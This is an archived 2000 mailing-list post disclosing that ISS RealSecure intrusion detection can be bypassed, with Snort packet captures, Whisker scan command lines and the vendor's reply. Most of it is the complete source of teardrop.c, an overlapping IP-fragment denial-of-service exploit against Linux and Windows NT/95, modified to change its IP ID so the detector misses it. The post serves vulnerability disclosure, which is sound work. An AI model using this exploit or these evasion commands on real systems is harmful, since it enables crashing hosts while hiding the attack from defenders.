Security problem with ISS RealSecure

From: Stephane Aubert (Stephane.Aubertat_private)
Date: Tue Feb 29 2000 - 01:58:58 PST

  • Next message: Ruud de Rooij: "nmh security update"

    Hello,
    
    Playing around with ISS RealSecure, a well known network intrusion detection
    system (NIDS), we have encountered the following security problems:
    
      o It is possible to bypass the detection of TearDrop, SynDrop, NewTear
        or Targa DOS attacks.
    
      o Some of Whisker evading modes are still/really effective i.e. it is possible
        to stealth scan a web server for CGIs.
    
    This has been tested on ISS RealSecure version 3.2.1999.343 on Windows NT.
    
    1. Teardrop signature in RealSecure
    
    For example, the original/public teardrop.c version exploits the overlapping
    IP fragment bug by sending 2 IP fragments. The ID field of the 2 IP fragments
    is not involved in the attack and was fixed to 242 (why not ? ;-) ):
    
       *((u_short *)p_ptr) = htons(242);   /* IP id */
    
    By changing this value from 242 to 666 (it can be a random number),
    RealSecure won't detect teardrop attacks.
    
    The only field changed is the ID field of the IP fragment. Using Snort you can
    also sniff the network:
    
     Original teardrop (detected):
       02/11-09:37:03.822772 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
       UDP TTL:64 TOS:0x0 ID:242  MF
       Frag Offset: 0x0   Frag Size: 0x24
    
       02/11-09:37:03.822829 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
       UDP TTL:64 TOS:0x0 ID:242
       Frag Offset: 0x3   Frag Size: 0x4
    
     Modified teardrop (NOT detected):
       02/11-09:37:07.967350 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
       UDP TTL:64 TOS:0x0 ID:666  MF
       Frag Offset: 0x0   Frag Size: 0x24
    
       02/11-09:37:07.968076 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
       UDP TTL:64 TOS:0x0 ID:666
       Frag Offset: 0x3   Frag Size: 0x4
    
    
    2. Whisker evading modes vs. RealSecure
    
    Stealth scan can be done using Whisker v1.3.0a and the HEAD method.
    It is also possible to use the GET method (-M 2), in that case you
    must use an evading mode (0, 6 or both) to avoid detection.
    
      Examples:
        ./whisker.pl -h xxx.yyy.zzz.ttt -I 1246
        ./whisker.pl -h xxx.yyy.zzz.ttt -I 0 -M 2
        ./whisker.pl -h xxx.yyy.zzz.ttt -I 6 -M 2
        ./whisker.pl -h xxx.yyy.zzz.ttt -I 60 -M 2
    
    
    3. ISS has been made aware of the issue and is looking into its details.
    
    We sent the above information to ISS by email 15 days ago; here is their answer:
    
      "Thanks for your in depth analysis of our RealSecure Teardrop signature. We
      rarely get such detailed reports and they are very much appreciated. Now
      that we are aware of the issue, we've logged this as a bug so we can address
      it in an upcoming release.
    
      We haven't tested RealSecure against Whisker, but now that brought this to
      our attention we can add it to our product test plan. We work very hard to
      test our products against as many known attacks as possible and information
      like this allows us to improve our test plan with every release.
    
      Please feel free to provide us feedback like this in the future as it helps
      us make a better product for all our customers."
    
    
    Regards,
    Stephane
    
    --
    Stephane AUBERT                   -=-      Herve Schauer Consultants
    Email : Stephane.Aubertat_private                    http://www.hsc.fr/
    
    
    * Links
    
      ISS RealSecure : http://solutions.iss.net/products/rsecure/rs_checks.php
      Snort : http://www.clark.net/~roesch/security.html
      Whisker : http://www.wiretrip.net/rfp/
      Teardrop, Targa, and so on : http://packetstorm.securify.com/DoS/
    
    
    
    
    * Demonstration program
    
    /*
     *  Copyright (c) 1997 route|daemon9  <routeat_private> 11.3.97
     *
     *  Linux/NT/95 Overlap frag bug exploit
     *
     *  Exploits the overlapping IP fragment bug present in all Linux kernels and
     *  NT 4.0 / Windows 95 (others?)
     *
     *  Based off of:   flip.c by klepto
     *  Compiles on:    Linux, *BSD*
     *
     *  Modification : Stephane Aubert and Denis Ducamp
     *  Date : 14/02/2000
     *  (c) Herve Schauer Consultants 2000
     *  Description : change ID field to bypass ISS RealSecure
     *
     *
     *  gcc -O2 teardrop.c -o teardrop
     *      OR
     *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
     *
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    
    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
                            /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    #define FIX(n)  (n)
    #else                   /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
    
    #define IP_MF   0x2000  /* More IP fragment en route */
    #define IPH     0x14    /* IP header size */
    #define UDPH    0x8     /* UDP header size */
    #define PADDING 0x1c    /* datagram frame padding for first packet */
    #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
    #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                             * withstand maybe 5 or 10 sometimes...  Experiment.
                             */
    void usage(u_char *);
    u_long name_resolve(u_char *);
    u_short in_cksum(u_short *, int);
    void send_frags(int, u_long, u_long, u_short, u_short,long);
    
    int main(int argc, char **argv)
    {
        int one = 1, count = 0, i, rip_sock;
        u_long  src_ip = 0, dst_ip = 0;
        u_short src_prt = 0, dst_prt = 0;
        struct in_addr addr;
        long ip_mf;
    
        fprintf(stderr, "teardrop   route|daemon9\\n\\n");
    
        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
            perror("raw socket");
            exit(1);
        }
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
            < 0)
        {
            perror("IP_HDRINCL");
            exit(1);
        }
        if (argc < 3) usage(argv[0]);
        if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
        {
            fprintf(stderr, "What the hell kind of IP address is that?\\n");
            exit(1);
        }
    
        while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
        {
            switch (i)
            {
                case 's':               /* source port (should be emphemeral) */
                    src_prt = (u_short)atoi(optarg);
                    break;
                case 't':               /* dest port (DNS, anyone?) */
                    dst_prt = (u_short)atoi(optarg);
                    break;
                case 'n':               /* number to send */
                    count   = atoi(optarg);
                    break;
                default :
                    usage(argv[0]);
                    break;              /* NOTREACHED */
            }
        }
        srandom((unsigned)(time((time_t)0)));
        if (!src_prt) src_prt = (random() % 0xffff);
        if (!dst_prt) dst_prt = (random() % 0xffff);
        if (!count)   count   = COUNT;
    
        fprintf(stderr, "Death on flaxen wings:\\n");
        addr.s_addr = src_ip;
        fprintf(stderr, "From: %15s.%5d\\n", inet_ntoa(addr), src_prt);
        addr.s_addr = dst_ip;
        fprintf(stderr, "  To: %15s.%5d\\n", inet_ntoa(addr), dst_prt);
        fprintf(stderr, " Amt: %5d\\n", count);
        fprintf(stderr, "[ ");
        ip_mf = 0x2000;
        for (i = 0; i < COUNT; i++)
        {
            send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt,ip_mf);
            fprintf(stderr, "b00m:%x ",ip_mf);
            usleep(500);
    	ip_mf += 0x10;
        }
        fprintf(stderr, "]\\n");
        return (0);
    }
    
    /*
     *  Send two IP fragments with pathological offsets.  We use an implementation
     *  independent way of assembling network packets that does not rely on any of
     *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
     */
    
    void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                    u_short dst_prt, long ip_mf)
    {
        u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
        u_char byte;                            /* a byte */
        struct sockaddr_in sin;                 /* socket protocol structure */
    
        sin.sin_family      = AF_INET;
        sin.sin_port        = src_prt;
        sin.sin_addr.s_addr = dst_ip;
    
        /*
         * Grab some memory for our packet, align p_ptr to point at the beginning
         * of our packet, and then fill it with zeros.
         */
        packet = (u_char *)malloc(IPH + UDPH + PADDING);
        p_ptr  = packet;
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
    
        byte = 0x45;                        /* IP version and header length */
        memcpy(p_ptr, &byte, sizeof(u_char));
        p_ptr += 2;                         /* IP TOS (skipped) */
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
        p_ptr += 2;
        /* SA/HSC : ID was 242 - change to 666 to bypass ISS RealSecure */
        *((u_short *)p_ptr) = htons(666);   /* IP id */
        p_ptr += 2;
        *((u_short *)p_ptr) |= FIX(ip_mf);  /* IP frag flags and offset */
        p_ptr += 2;
        *((u_short *)p_ptr) = 0x40;         /* IP TTL */
        byte = IPPROTO_UDP;
        memcpy(p_ptr + 1, &byte, sizeof(u_char));
        p_ptr += 4;                         /* IP checksum filled in by kernel */
        *((u_long *)p_ptr) = src_ip;        /* IP source address */
        p_ptr += 4;
        *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
        p_ptr += 4;
        *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
    
        if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
        {
            perror("\\nsendto");
            free(packet);
            exit(1);
        }
    
        /*  We set the fragment offset to be inside of the previous packet's
         *  payload (it overlaps inside the previous packet) but do not include
         *  enough payload to cover complete the datagram.  Just the header will
         *  do, but to crash NT/95 machines, a bit larger of packet seems to work
         *  better.
         */
        p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        p_ptr += 4;                 /* IP offset is 6 bytes into the header */
        *((u_short *)p_ptr) = FIX(MAGIC);
    
        if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
        {
            perror("\\nsendto");
            free(packet);
            exit(1);
        }
        free(packet);
    }
    
    u_long name_resolve(u_char *host_name)
    {
        struct in_addr addr;
        struct hostent *host_ent;
    
        if ((addr.s_addr = inet_addr(host_name)) == -1)
        {
            if (!(host_ent = gethostbyname(host_name))) return (0);
            bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
        }
        return (addr.s_addr);
    }
    
    void usage(u_char *name)
    {
        fprintf(stderr,
                "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\\n",
                name);
        exit(0);
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:38:16 PDT